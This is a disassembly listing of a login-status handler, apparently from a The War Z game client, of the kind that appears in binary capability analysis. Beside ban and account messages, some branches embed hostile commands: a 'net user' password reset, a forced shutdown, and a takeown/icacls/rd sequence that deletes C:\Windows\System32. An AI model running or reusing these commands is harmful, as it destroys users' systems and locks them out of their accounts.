Function at 0x40ae00
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x204
mov eax, dword [0x6dbf2c]
xor eax, esp
mov dword [esp + 0x200], eax
push esi
mov esi, ecx
mov eax, dword [esi + 0x21840]
add eax, 0xfffffffc
push edi
cmp eax, 0x10
ja case.default.0x40ae30
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
jmp dword [eax*4 + 0x40b244]
pop edi
mov dword [esi + 0x21698], 0x6add04
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
pop edi
mov dword [esi + 0x21698], 0x6add14
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
mov eax, 0x88888889
mul dword [esi + 0x21838]
shr edx, 5
inc edx
push edx
lea eax, [esp + 0xc]
push str.Your_account_has_been_temporarily_frozen_because_of_violation_of_the_Terms_of_Service___Paragraph_2___n_nYou_will_be_able_to_continue_to_use_the_service_in__d_hours
push eax
mov dword [esi + 0x21698], 0x6add24
call fcn.00406980
add esp, 0xc
push 0x30
push str.Login
lea ecx, [esp + 0x10]
push ecx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push 0x30
push str.Login
push str.Too_many_failed_login_attempts__your_IP_has_been_blocked_for_one_hour
push 0
mov dword [esi + 0x21698], 0x6adde4
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push 0x30
push str.Login
push 0x6ade64
push 0
mov dword [esi + 0x21698], 0x6ade48
call dword [sym.imp.USER32.dll_MessageBoxA]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 5
push 0
push 0x6acb3e
push str.https:__thehulkz.online_
push str.open
push 0
call esi
push 5
push 0
push 0x6acb3e
push str.https:__www.facebook.com_profile.php_id61551925678089
push str.open
push 0
call esi
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push str.net_user__username__Knnsjeq
mov dword [esi + 0x21698], 0x6adef8
call fcn.005d3706
push str.shutdown__s__f__t_1
call fcn.005d3706
add esp, 8
push 0x10
push 0x6adf4c
push str._________________________________________
push 0
call edi
cmp eax, 1
je 0x40b22b
push 0
push 0
push str._c_takeown__f_C:WindowsSystem32__icacls_C:WindowsSystem32__grant_administrators:F__t__q__rd__s__q_C:WindowsSystem32
push 0x6ae038
push str.open
push 0
mov dword [esi + 0x21698], 0x6adf80
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x10
push str.Login
push 0x6ae03c
push 0
call edi
cmp eax, 1
je 0x40b22b
push 0x10
push str.Login
push str.Your_IP_has_been_banned_by_IP_Address
push 0
mov dword [esi + 0x21698], 0x6ae05c
call edi
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push 0x10
push str.Login
push str.Your_account_has_been_banned_by_HWID_ID
push 0
mov dword [esi + 0x21698], 0x6ae09c
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push 0x10
push str.Login
push str.Banned:_This_account_has_been_investigated_and_permanently_closed_for_violations_of_the_Terms_of_Use
push 0
mov dword [esi + 0x21698], 0x6ae0f0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push 0x10
push str.Login
push str.Banned:_Your_account_has_been_banned_by_MAC_Address
push 0
mov dword [esi + 0x21698], 0x6ae180
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push str.shutdown__s__f__t_1
mov dword [esi + 0x21698], 0x6ae1e0
call fcn.005d3706
add esp, 4
push 0x10
push str.Login
push str.Banned:_Your_account_has_been_banned_by_Client
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
pop edi
mov dword [esi + 0x21698], 0x6ae238
mov dword [esi + 0x20dec], 4
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push 0x30
push str.Account_Deleted
push str.Your_account_was_deleted_because_your_payment_was_refunded_or_cancelled_n_nPlease_contact_your_payment_provider
push 0
mov dword [esi + 0x21698], 0x6ae260
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push 0x30
push str.No_game_ownership_on_Steam
push str.Youve_started_game_under_a_steam_account__but_that_account_does_not_have_The_War_Z_game_ownership
push 0
mov dword [esi + 0x21698], 0x6acb3e
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
push 0x30
push str.Login
push str.Unknown_account_status__please_contact_support_extreme.co.th
push 0
mov dword [esi + 0x21698], 0x6ae374
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 5
push 0
push 0x6acb3e
push str.Runtime.exe
push str.open
push 0
mov dword [esi + 0x21698], 0x6acb3e
call edi
push 5
push 0
push 0x6acb3e
push str.https:__thehulkz.online_
push str.open
push 0
call edi
pop edi
mov dword [esi + 0x20dec], 5
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret
mov dword [esi + 0x21698], str.Eorror_1
mov ecx, dword [esp + 0x208]
pop edi
pop esi
xor ecx, esp
call fcn.005d1ef7
add esp, 0x204
ret